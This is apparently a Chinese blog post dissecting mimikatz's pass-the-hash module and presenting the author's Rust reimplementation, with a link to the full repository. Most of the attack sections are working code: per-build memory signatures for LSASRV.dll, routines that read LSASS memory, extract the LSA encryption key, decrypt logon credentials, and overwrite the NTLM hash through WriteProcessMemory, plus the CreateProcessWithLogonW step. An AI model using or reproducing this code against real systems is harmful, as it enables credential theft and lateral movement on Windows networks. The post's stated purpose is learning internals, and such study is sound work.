0. Summary
为了学习mimikatz PTH底层原理,我用Rust实现了sekurlsa::pth
和sekurlsa::msv
模块,见sekurlsa::pth written in pure Rust[1]
•该实现仅为了学习底层细节,代码量2K行左右,win32 API binding使用了windows-rs
•该实现仅支持工作组环境中的PTH,替换LSASS中的KRB凭据是相同的原理•该实现仅支持NT6+,因为NT5是2006年以前的老古董,LSA protect还在使用DESX等算法
本文将结合mimikatz源码和个人实现进行解析(因为mimikatz的模块化代码充斥着各种回调,逻辑不够直白),希望各位在读完后能有所收获
1. Pass The Hash
大家应该对NTLM SSP认证的Challenge / Response机制很熟悉,简单复习一下
NTLM的type3会有以下几种response:
•LM Response•LMv2 Response•NTLMv1 Response•NTLMv2 Response•NTLMv2 Session Response (NEGOTIATE_EXTENDED_SESSION_SECURITY )
这几种响应的计算都仅需要challenge和hash (v2会有额外的nonce)作为入参,于是就有了pass the hash这种攻击方式,LSASS和SAM中都存储着hash,攻击者拿到hash便可完成NTLM认证过程
但问题来了,Windows提供的认证函数接收的是用户名和明文密码(而不会接受hash这样的参数),那么各种PTH工具是怎么做的呢?
2. PTH实现方式
市面上的PTH工具大体有以下两种实现方式
•mimikatz:通过patch LSASS.exe进程中LSASRV.dll模块空间里的内存,来修改logon id对应的hash•以impacket为代表的工具:实现了上层协议如SMB / RPC等等,攻击时修改上层协议中对应的NTLM SSP部分
以上两种方式各有利弊:
从协议流量层面修改相对比较稳定,因为固定协议版本基本不会有变动。但利用存在局限,需要实现所有的上层协议才能修改其中的NTLM SSP字段
patch内存的方式更全面,一但patch成功后续进程的网络登录都由LSASS来负责,不论是dir UNC还是wmic。缺点是不够清真,因为需要通过搜索内存签名来定位关键变量的地址,内存签名是一段与系统强相关的不包含寻址的机器码,所以需要繁琐的提取不同版本的签名
本文会解析mimikatz patch内存的实现方式
3. sekurlsa::pth源码解析
定位到sekurlsa::pth
模块对应的源码mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c#kuhl_m_sekurlsa_pth
主函数做了以下几件事:
1.获取参数:luid, user, domain, impersonate, run, [ntlm/rc4/aes128/aes256]2.如果有luid参数,则直接覆盖该luid关联的凭据,完成攻击。如果没有,则以SUSPENDED状态启动新进程,获取进程token里的luid3.接着通过kuhl_m_sekurlsa_pth_luid
函数patch LSASS.exe进程内存,通过kuhl_m_sekurlsa_enum_callback_msv_pth
和kuhl_m_sekurlsa_enum_callback_kerberos_pth
两个回调修改工作组和域环境的凭据4.Resume进程,完成攻击
3.1 luid参数
我相信大多数人应该不知道mimikatz的sekurlsa::pth
能传递一个luid参数,因为不仅命令行没有提示,文档[2]也没写,不读源码是不大可能知道这个参数的
那么这个参数有什么作用呢?luid是一个LUID
结构,在TOKEN_STATISTICS
结构体中对应的字段名叫AuthenticationId
,它是用来关联进程的token和LSA中logon session的
因此mimikatz中PTH便有了两个分支:
1.如果提供了luid,则直接patch LSASS中该luid对应logon session的hash,此后与该luid关联的所有进程都有patch过的网络凭据2.如果没有提供luid,则启动新进程,然后获取新进程token中的luid,修改它关联的logon session的hash(为什么新进程会关联新的logon session而不是继承父进程的session,后面会讲)
实际使用中,当当前user name和domain name和要PTH的目标一致时,通过sekurlsa::msv
枚举所有logon session,接着传递luid参数修改对应的网络凭据即可,这样后续启动的新进程都关联着修改过的logon session。而当user name和domain name不一致时,是可以修改LSASS进程中对应凭据的user name和domain name的(当然你得自己代码实现),但前提是缓冲区得足够大(UNICODE_STRING
结构的buffer),也就是当前user name的长度要大于目标user name的长度
3.2 CreateProcessWithLogon
解答上一节提出的问题,为什么mimikatz PTH启动的新进程没有继承父进程的logon session而有了一个新的session,那是因为启动进程使用了CreateProcessWithLogon
函数并传递了LOGON_NETCREDENTIALS_ONLY
的LogonFlags
Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.
This value can be used to create a process that uses a different set of credentials locally than it does remotely. This is useful in inter-domain scenarios where there is no trust relationship.
The system does not validate the specified credentials. Therefore, the process can start, but it may not have access to network resources.
文档提到,会创建一个新的logon session,并且不校验该凭据的有效性
所以,在mimikatz PTH流程中,使用空密码启动新进程。后续修改该进程对应的新logon session即可
CreateProcessWithLogonW(
user,
domain,
L"",
LOGON_NETCREDENTIALS_ONLY,
cmdline,
CREATE_NEW_CONSOLE | CREATE_SUSPENDED,
0,
NULL,
&si,
&pi
);
3.3 Acquire LSA
相信大家都见过这个报错吧:
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
对应的函数kuhl_m_sekurlsa_acquireLSA
是sekurlsa
模块中相当重要的一员,它做了以下工作
•读取LSASS.exe进程中LSASRV.dll模块的内存,模块加载地址和大小是通过PEB.Ldr.InMemoryOrderModuleList获取•获取系统的MajorVersion, MinorVersion和BuildNumber
解析InMemoryOrderModuleList
遍历模块是很基础的知识,值得学习的是如何通过ReadProcessMemory
在其他进程空间里操作
3.4 Parse LogonSessionList
接下来需要找到LSASRV.dll中的两个全局变量LogonSessionList
和LogonSessionListCount
,方法是通过内存签名进行查找。借用老外一篇博客[3]中的图片
可以看到,找到一个同时引用了这两个全局变量的函数,便可将其不变的机器码当做内存签名。除了这一段签名,我们还需要保存两个全局变量相对签名的偏移,所以,pattern的结构是这样
pub(crate) const PTRN_WIN5_LogonSessionList: &[u8] = &[
0x4c, 0x8b, 0xdf, 0x49, 0xc1, 0xe3, 0x04, 0x48, 0x8b, 0xcb, 0x4c, 0x03, 0xd8,
];
pub(crate) const PTRN_WN60_LogonSessionList: &[u8] = &[
0x33, 0xff, 0x45, 0x85, 0xc0, 0x41, 0x89, 0x75, 0x00, 0x4c, 0x8b, 0xe3, 0x0f, 0x84,
];
pub(crate) const PTRN_WN61_LogonSessionList: &[u8] = &[
0x33, 0xf6, 0x45, 0x89, 0x2f, 0x4c, 0x8b, 0xf3, 0x85, 0xff, 0x0f, 0x84,
];
pub(crate) const PTRN_WN63_LogonSessionList: &[u8] = &[
0x8b, 0xde, 0x48, 0x8d, 0x0c, 0x5b, 0x48, 0xc1, 0xe1, 0x05, 0x48, 0x8d, 0x05,
];
pub(crate) const PTRN_WN6x_LogonSessionList: &[u8] = &[
0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74,
];
pub(crate) const PTRN_WN1703_LogonSessionList: &[u8] = &[
0x33, 0xff, 0x45, 0x89, 0x37, 0x48, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74,
];
pub(crate) const PTRN_WN1803_LogonSessionList: &[u8] = &[
0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74,
];
pub(crate) const LSA_SRV_REF_BUILD_XP: (u32, &[u8], (isize, isize)) =
(WIN_BUILD_XP, PTRN_WIN5_LogonSessionList, (-4, 0));
pub(crate) const LSA_SRV_REF_BUILD_2K3: (u32, &[u8], (isize, isize)) =
(WIN_BUILD_2K3, PTRN_WIN5_LogonSessionList, (-4, -45));
pub(crate) const LSA_SRV_REF_BUILD_VISTA: (u32, &[u8], (isize, isize)) =
(WIN_BUILD_VISTA, PTRN_WN60_LogonSessionList, (21, -4));
pub(crate) const LSA_SRV_REF_BUILD_7: (u32, &[u8], (isize, isize)) =
(WIN_BUILD_7, PTRN_WN61_LogonSessionList, (19, -4));
pub(crate) const LSA_SRV_REF_BUILD_8: (u32, &[u8], (isize, isize)) =
(WIN_BUILD_8, PTRN_WN6x_LogonSessionList, (16, -4));
pub(crate) const LSA_SRV_REF_BUILD_BLUE: (u32, &[u8], (isize, isize)) =
(WIN_BUILD_BLUE, PTRN_WN63_LogonSessionList, (36, -6));
pub(crate) const LSA_SRV_REF_BUILD_10_1507: (u32, &[u8], (isize, isize)) =
(WIN_BUILD_10_1507, PTRN_WN6x_LogonSessionList, (16, -4));
pub(crate) const LSA_SRV_REF_BUILD_10_1703: (u32, &[u8], (isize, isize)) =
(WIN_BUILD_10_1703, PTRN_WN1703_LogonSessionList, (23, -4));
pub(crate) const LSA_SRV_REF_BUILD_10_1803: (u32, &[u8], (isize, isize)) =
(WIN_BUILD_10_1803, PTRN_WN1803_LogonSessionList, (23, -4));
pub(crate) const LSA_SRV_REF_BUILD_10_1903: (u32, &[u8], (isize, isize)) =
(WIN_BUILD_10_1903, PTRN_WN6x_LogonSessionList, (23, -4));
图片中的两个偏移分别是23和-4,在64-bit系统中通过偏移找到相对寻址的4 bytes地址,接着只需要eip + RA即可找到所需要的全局变量(在32-bit中是4 bytes的绝对地址)
let ptrn_offset = self
.mod_info
.mem
.windows(ptrn.1.len())
.position(|window| window == ptrn.1)
.ok_or(LsaError::new(
"Couldn't find the signature of LoginSessionList in memory",
))?;
unsafe {
let ptr_logon_session_lst_cnt: isize;
let ptr_logon_session_lst: isize;
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
{
let offset = 0_i32;
read_process_mem(
self.handle,
(self.mod_info.dll_base + ptrn_offset as isize + ptrn.2 .1) as _,
&offset as *const i32 as _,
mem::size_of::<i32>(),
)?;
ptr_logon_session_lst_cnt = self.mod_info.dll_base
+ ptrn_offset as isize
+ ptrn.2 .1
+ mem::size_of::<i32>() as isize
+ offset as isize;
let offset = 0_i32;
read_process_mem(
self.handle,
(self.mod_info.dll_base + ptrn_offset as isize + ptrn.2 .0) as _,
&offset as *const i32 as _,
mem::size_of::<i32>(),
)?;
ptr_logon_session_lst = self.mod_info.dll_base
+ ptrn_offset as isize
+ ptrn.2 .0
+ mem::size_of::<i32>() as isize
+ offset as isize;
}
#[cfg(all(target_os = "windows", target_arch = "x86"))]
{
read_process_mem(
self.handle,
(mod_info.dll_base + ptrn_offset as isize + ptrn.2 .1) as _,
&ptr_logon_session_lst_cnt as *const isize as _,
mem::size_of::<isize>(),
)?;
read_process_mem(
self.handle,
(mod_info.dll_base + ptrn_offset as isize + ptrn.2 .0) as _,
&ptr_logon_session_lst as *const isize as _,
mem::size_of::<isize>(),
)?;
}
let logon_session_lst_cnt = 0_u32;
read_process_mem(
self.handle,
ptr_logon_session_lst_cnt as _,
&logon_session_lst_cnt as *const u32 as _,
mem::size_of::<u32>(),
)?;
println!(
"Found LogonSessionListCount @ 0x{:x}, value: {}",
ptr_logon_session_lst_cnt, logon_session_lst_cnt
);
LogonSessionListCount
是指向LogonSessionList
的指针列表的成员个数,而LogonSessionList
则是一个包含了LIST_ENTRY
成员的双向链表(LogonSessionListCount
大多数情况下等于1)
LogonSessionList
链表中的成员是一个KIWI_MSV1_0_LIST_*
结构,该结构和系统强相关,Win10中为KIWI_MSV1_0_LIST_63
。mimikatz中通过逆向给出的结构定义为:
struct KIWI_MSV1_0_LIST_63 {
Flink: *const KIWI_MSV1_0_LIST_63,
Blink: *const KIWI_MSV1_0_LIST_63,
unk0: *const (),
unk1: u32,
unk2: *const (),
unk3: u32,
unk4: u32,
unk5: u32,
hSemaphore6: HANDLE,
unk7: *const (),
hSemaphore8: HANDLE,
unk9: *const (),
unk10: *const (),
unk11: u32,
unk12: u32,
unk13: *const (),
LocallyUniqueIdentifier: LUID,
SecondaryLocallyUniqueIdentifier: LUID,
waza: [u8; 12],
UserName: UNICODE_STRING,
domain: UNICODE_STRING,
unk14: *const (),
unk15: *const (),
Type: UNICODE_STRING,
pSid: *const SID,
LogonType: u32,
unk18: *const (),
Session: u32,
LogonTime: i64,
LogonServer: UNICODE_STRING,
Credentials: *const KIWI_MSV1_0_CREDENTIALS,
unk19: *const (),
unk20: *const (),
unk21: *const (),
unk22: u32,
unk23: u32,
unk24: u32,
unk25: u32,
unk26: u32,
unk27: *const (),
unk28: *const (),
unk29: *const (),
CredentialManager: *const (),
}
接着我们便可以解析出该结构中的成员了
for i in 0..logon_session_lst_cnt {
let mut ptr: *const LIST_ENTRY = 0 as _;
read_process_mem(
handle,
logon_session_lst.offset(i as isize) as _,
&ptr as *const *const LIST_ENTRY as _,
mem::size_of::<*const LIST_ENTRY>(),
)?;
let entry: LIST_ENTRY = mem::zeroed();
read_process_mem(
handle,
ptr as _,
&entry as *const LIST_ENTRY as _,
mem::size_of::<*const LIST_ENTRY>(),
)?;
let head = ptr;
while entry.Flink != head as _ {
ptr = entry.Flink as _;
read_process_mem(
handle,
entry.Flink as _,
&entry as *const LIST_ENTRY as _,
mem::size_of::<*const LIST_ENTRY>(),
)?;
let buffer = vec![0_u8; helper.size];
read_process_mem(handle, ptr as _, &buffer[0] as *const u8, helper.size)?;
let logon_id = *(&buffer[helper.offsetToLuid] as *const u8 as *const LUID);
let username =
*(&buffer[helper.offsetToUsername] as *const u8 as *const UNICODE_STRING);
let logon_domain =
*(&buffer[helper.offsetToDomain] as *const u8 as *const UNICODE_STRING);
let logon_typ = *(&buffer[helper.offsetToLogonType] as *const u8 as *const u32);
let session = *(&buffer[helper.offsetToSession] as *const u8 as *const u32);
let credentials =
*(&buffer[helper.offsetToCredentials] as *const u8 as *const *const ());
let sid = *(&buffer[helper.offsetToPSid] as *const u8 as *const *const SID);
let credential_mgr =
*(&buffer[helper.offsetToCredentialManager] as *const u8 as *const *const ());
let logon_time = *(&buffer[helper.offsetToLogonTime] as *const u8 as *const i64);
let logon_server =
*(&buffer[helper.offsetToLogonServer] as *const u8 as *const UNICODE_STRING);
let session_data = SecurityLogonSessionData {
logon_id: logon_id,
username: username,
logon_domain: logon_domain,
logon_typ: logon_typ,
session: session,
credentials: credentials,
sid: sid,
credential_mgr: credential_mgr,
logon_time: logon_time,
logon_server: logon_server,
};
ret.push(session_data);
}
}
3.5 LSA Protect
到了最后一步,需要解密出KIWI_MSV1_0_LIST_63
中的credentials成员,修改其中的hash部分,再加密并写回LSASS进程空间
在NT6上,LSA使用了两种加密算法,分别是AES-CFB和TripleDES-CBC,当数据长度模8不为0时用AES,否则用3DES
为了解密credentials,我们需要拿到LSASS进程空间里随机生成的密钥和IV,这一步和上文到LogonSessionList
相关的两个全局变量的方法是一样的,还是通过内存签名
密钥保存在KIWI_BCRYPT_KEY
结构的KIWI_HARD_KEY
中
let (size, key_offset) = if lsa.os_version.build_number < lsa::WIN_MIN_BUILD_8 {
(
mem::size_of::<KIWI_BCRYPT_KEY>(),
memoffset::offset_of!(KIWI_BCRYPT_KEY, hardkey),
)
} else if lsa.os_version.build_number < lsa::WIN_MIN_BUILD_BLUE {
(
mem::size_of::<KIWI_BCRYPT_KEY8>(),
memoffset::offset_of!(KIWI_BCRYPT_KEY8, hardkey),
)
} else {
(
mem::size_of::<KIWI_BCRYPT_KEY81>(),
memoffset::offset_of!(KIWI_BCRYPT_KEY81, hardkey),
)
};
unsafe {
let ptr_handle_key = 0_isize;
let offset64: i32 = 0;
lsa::read_process_mem(
lsa.handle,
(lsa.mod_info.dll_base + offset) as _,
&offset64 as *const i32 as _,
mem::size_of::<i32>(),
)?;
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
lsa::read_process_mem(
lsa.handle,
(lsa.mod_info.dll_base + offset + offset64 as isize + mem::size_of::<i32>() as isize)
as _,
&ptr_handle_key as *const isize as _,
mem::size_of::<isize>(),
)?;
#[cfg(all(target_os = "windows", target_arch = "x86"))]
lsa::read_process_mem(
lsa.handle,
offset64 as _,
&ptr_handle_key as *const isize as _,
mem::size_of::<isize>(),
)?;
let handle_key: KIWI_BCRYPT_HANDLE_KEY = mem::zeroed();
read_process_mem(
lsa.handle,
ptr_handle_key as _,
&handle_key as *const KIWI_BCRYPT_HANDLE_KEY as _,
mem::size_of::<KIWI_BCRYPT_HANDLE_KEY>(),
)?;
// "UUUR"
if handle_key.tag == 0x55555552 {
let bcrypt_key_buf = vec![0_u8; size];
read_process_mem(
lsa.handle,
handle_key.key as _,
&bcrypt_key_buf[0] as *const u8 as _,
size,
)?;
let bcrypt_key = &*(&bcrypt_key_buf[0] as *const u8 as *const KIWI_BCRYPT_KEY);
// "MSSK"
if bcrypt_key.tag == 0x4d53534b {
let hard_key = &*((&bcrypt_key_buf[0] as *const u8).offset(key_offset as _)
as *const KIWI_HARD_KEY);
let secret = vec![0_u8; hard_key.cbSecret as _];
read_process_mem(
lsa.handle,
(handle_key.key as usize
+ key_offset
+ memoffset::offset_of!(KIWI_HARD_KEY, data)) as _,
&secret[0] as *const u8 as _,
secret.len(),
)?;
print!(
"0x{:x}",
handle_key.key as usize
+ key_offset
+ memoffset::offset_of!(KIWI_HARD_KEY, data)
);
return Ok(secret);
}
}
Err(LsaError::new("Acquire key failed"))
}
找到后通过BCryptOpenAlgorithmProvider
和BCryptGenerateSymmetricKey
等函数获取密钥句柄,最终传递给BCryptEncrypt
/ BCryptDecrypt
做加解密
3.6 Patch NTLM
解密后的Credentials在Win10 1607上是这样的结构
struct MSV1_0_PRIMARY_CREDENTIAL_10_1607 {
LogonDomainName: UNICODE_STRING,
UserName: UNICODE_STRING,
pNtlmCredIsoInProc: *const (),
isIso: u8,
isNtOwfPassword: u8,
isLmOwfPassword: u8,
isShaOwPassword: u8,
isDPAPIProtected: u8,
align0: u8,
align1: u8,
align2: u8,
// #pragma pack(push, 2)
unkD: u32,
isoSize: u16,
DPAPIProtected: [u8; LM_NTLM_HASH_LENGTH],
// #pragma pack(pop)
align3: u32,
NtOwfPassword: [u8; LM_NTLM_HASH_LENGTH],
LmOwfPassword: [u8; LM_NTLM_HASH_LENGTH],
ShaOwPassword: [u8; SHA_DIGEST_LENGTH],
}
mimikatz将isLmOwfPassword
, isShaOwPassword
和isDPAPIProtected
写为FALSE,将isNtOwfPassword
写为TRUE并将NTLM hash复制到对应位置,最后通过WriteProcessMemory
将加密的凭据写回LSASS进程
if session_data.logon_id == patch_data.luid {
credentials[helper.offsetToisLmOwfPassword] = 0;
credentials[helper.offsetToisShaOwPassword] = 0;
if helper.offsetToisIso != 0 {
credentials[helper.offsetToisIso] = 0;
}
if helper.offsetToisDPAPIProtected != 0 {
credentials[helper.offsetToisDPAPIProtected] = 0;
ptr::write_bytes(
&credentials[helper.offsetToDPAPIProtected] as *const u8 as *mut u8,
0,
msv::LM_NTLM_HASH_LENGTH,
);
}
ptr::write_bytes(
&credentials[helper.offsetToLmOwfPassword] as *const u8 as *mut u8,
0,
msv::LM_NTLM_HASH_LENGTH,
);
ptr::write_bytes(
&credentials[helper.offsetToShaOwPassword] as *const u8 as *mut u8,
0,
msv::SHA_DIGEST_LENGTH,
);
credentials[helper.offsetToNtOwfPassword] = 1;
ptr::copy_nonoverlapping(
patch_data.ntlm.as_ptr(),
&credentials[helper.offsetToNtOwfPassword] as *const u8 as _,
msv::LM_NTLM_HASH_LENGTH,
);
crate::lsa_crypt::nt6_encrypt_mem(&credentials, true)?;
if !WriteProcessMemory(
lsa.handle,
msv_primary_credentials.Credentials.Buffer.0 as _,
&credentials[0] as *const u8 as _,
credentials.len(),
0 as _,
)
.as_bool()
{
return Err(LsaError::new("WriteProcessMemory error"));
}
println!(
"Replace NTLM hash @ 0x{:x}",
msv_primary_credentials.Credentials.Buffer.0 as isize
+ helper.offsetToNtOwfPassword as isize
);
}
4. 关于windows-rs
本项目中win32 api binding使用的是微软官方的windows-rs
,相比于winapi-rs
仅仅实现了相关定义,windows-rs
有了一定的封装度,比方说一些常量枚举替换成了Rust中的枚举。但还不够完善,属于开发中的新项目
一大亮点是通过build script按需生成代码,在项目中使用windows::include_bindings!
宏自动生成定义
但有一大痛点是rust-analyzer
对宏的支持不够好,这就导致了没办法看到include_bindings!
生成的代码
总体来说还是看好的,期待未来做出针对某些类型(比如HANDLE)的适配Rust生命周期的RAII
References
[1]
sekurlsa::pth written in pure Rust: https://github.com/EddieIvan01/win32api-practice/tree/master/pth[2]
文档: https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth[3]
老外一篇不错的博客: https://www.praetorian.com/blog/inside-mimikatz-part2/
原文始发于微信公众号(0x4d5a):mimikatz sekurlsa::pth底层原理
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论